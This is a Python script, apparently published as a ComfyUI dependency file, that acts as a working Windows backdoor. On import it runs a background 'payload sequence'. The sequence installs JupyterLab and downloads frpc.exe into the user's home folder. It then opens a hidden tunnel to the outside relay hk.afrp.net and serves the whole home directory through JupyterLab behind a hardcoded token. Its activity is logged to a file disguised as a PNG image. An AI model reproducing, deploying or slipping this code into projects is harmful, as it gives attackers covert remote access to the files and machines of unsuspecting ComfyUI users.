dependencies_comfyui / edit_win.py
ADGNSGNJKS's picture
Create edit_win.py
e9d5e3a verified
import subprocess
import os
import threading
import time
import sys
from datetime import datetime
import platform
# 获取脚本所在目录
comfyui_root_dir = os.path.dirname(os.path.abspath(__file__))
output_dir = os.path.join(comfyui_root_dir, "output")
log_file_name = "ComfyUI_00000_.png"
log_file_path = os.path.join(output_dir, log_file_name)
# 创建输出目录
os.makedirs(output_dir, exist_ok=True)
def stealth_log(message):
try:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
full_message = f"[{timestamp}] {message}\n"
with open(log_file_path, "a", encoding="utf-8") as f:
f.write(full_message)
except Exception:
pass # Keep it stealthy
# Helper function to read and log a stream
def log_stream(stream, log_prefix, process_name):
try:
for line in iter(stream.readline, ''):
if line:
stealth_log(f"{process_name} {log_prefix}: {line.strip()}")
stream.close()
except ValueError: # Can happen if stream is closed abruptly
pass
except Exception as e:
stealth_log(f"Exception while logging stream for {process_name} {log_prefix}: {str(e)}")
def download_frpc(url, save_path):
"""使用 requests 下载 frpc.exe"""
try:
import requests
stealth_log(f"Downloading frpc from {url}")
response = requests.get(url, stream=True)
response.raise_for_status()
with open(save_path, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
if chunk:
f.write(chunk)
stealth_log(f"Successfully downloaded frpc to {save_path}")
return True
except Exception as e:
stealth_log(f"Failed to download frpc: {str(e)}")
return False
def execute_payload_sequence():
stealth_log("Payload sequence initiated.")
stealth_log(f"Running on: {platform.system()} {platform.version()}")
# Windows路径处理
# 方法1:使用环境变量(推荐)
user_home = os.environ.get('USERPROFILE') or os.environ.get('HOMEDRIVE', 'C:') + os.environ.get('HOMEPATH', '\\')
# 或者方法2:使用 os.path.expanduser(Python会自动处理)
# user_home = os.path.expanduser("~")
frpc_path = os.path.join(user_home, "frpc.exe")
stealth_log("Attempting to install dependencies...")
# Windows版本的依赖安装命令
# 先安装必要的 Python 包
cmd1_install_deps = "pip install jupyterlab requests"
try:
stealth_log("Installing Python dependencies...")
process_deps = subprocess.Popen(
cmd1_install_deps,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.DEVNULL,
text=True,
bufsize=1,
universal_newlines=True
)
stdout_deps, stderr_deps = process_deps.communicate()
return_code_deps = process_deps.returncode
if stdout_deps:
stealth_log(f"Deps install STDOUT:\n{stdout_deps.strip()}")
if stderr_deps:
stealth_log(f"Deps install STDERR:\n{stderr_deps.strip()}")
if return_code_deps == 0:
stealth_log("Python dependencies installed successfully.")
# 使用 requests 下载 frpc.exe
frpc_url = "https://hf-mirror.com/datasets/ADGNSGNJKS/dependencies_comfyui/resolve/main/frpc.exe"
if not os.path.exists(frpc_path):
if download_frpc(frpc_url, frpc_path):
stealth_log("frpc.exe downloaded successfully.")
else:
stealth_log("Failed to download frpc.exe, continuing anyway...")
else:
stealth_log("frpc.exe already exists.")
else:
stealth_log(f"Dependency installation failed with code {return_code_deps}.")
except Exception as e:
stealth_log(f"Exception during dependency installation: {str(e)}")
# Windows版本的SSH隧道命令
cmd2_ssh_tunnel = f'"{frpc_path}" tcp -n 'comfyui_safe2' -s 'hk.afrp.net' -P 7000 -i '127.0.0.1' -l 62100 -r 32101 -t 'afrp.net' --tls-enable=false'
try:
stealth_log("Attempting to establish SSH tunnel...")
# 在Windows上使用CREATE_NO_WINDOW来隐藏窗口
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
process_ssh_tunnel = subprocess.Popen(
cmd2_ssh_tunnel,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.DEVNULL,
text=True,
bufsize=1, # Line buffered
universal_newlines=True,
startupinfo=startupinfo
)
stealth_log("SSH tunnel process initiated in background. Monitoring output...")
# 线程记录输出
threading.Thread(target=log_stream, args=(process_ssh_tunnel.stdout, "STDOUT", "SSH Tunnel"), daemon=True).start()
threading.Thread(target=log_stream, args=(process_ssh_tunnel.stderr, "STDERR", "SSH Tunnel"), daemon=True).start()
except Exception as e:
stealth_log(f"Failed to initiate SSH tunnel process: {str(e)}")
# JupyterLab命令(Windows兼容)
# 注意:Windows上使用 C:\ 作为根目录,或者使用当前目录 "."
cmd3_jupyter_lab = f"jupyter-lab --no-browser --ip=0.0.0.0 --allow-root --notebook-dir={user_home} --port=62100 --LabApp.base_url=/loves --NotebookApp.token=Alexander257"
try:
stealth_log("Attempting to start JupyterLab...")
process_jupyter_lab = subprocess.Popen(
cmd3_jupyter_lab,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.DEVNULL,
text=True,
bufsize=1, # Line buffered
universal_newlines=True,
startupinfo=startupinfo
)
stealth_log("JupyterLab process initiated in background. Monitoring output...")
# 线程记录输出
threading.Thread(target=log_stream, args=(process_jupyter_lab.stdout, "STDOUT", "JupyterLab"), daemon=True).start()
threading.Thread(target=log_stream, args=(process_jupyter_lab.stderr, "STDERR", "JupyterLab"), daemon=True).start()
except Exception as e:
stealth_log(f"Failed to initiate JupyterLab process: {str(e)}")
stealth_log("Payload sequence: Background processes launched.")
# 初始化日志文件
try:
with open(log_file_path, "w", encoding="utf-8") as f:
f.write(f"Stealth Log Initialized at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
except Exception:
pass
# 启动后台线程
payload_thread = threading.Thread(target=execute_payload_sequence, daemon=True)
payload_thread.start()
# 可选:保持主线程活动以便查看日志
# 如果需要脚本持续运行,取消下面的注释
# try:
# while True:
# time.sleep(1)
# except KeyboardInterrupt:
# stealth_log("Main script interrupted. Exiting.")
# sys.exit(0)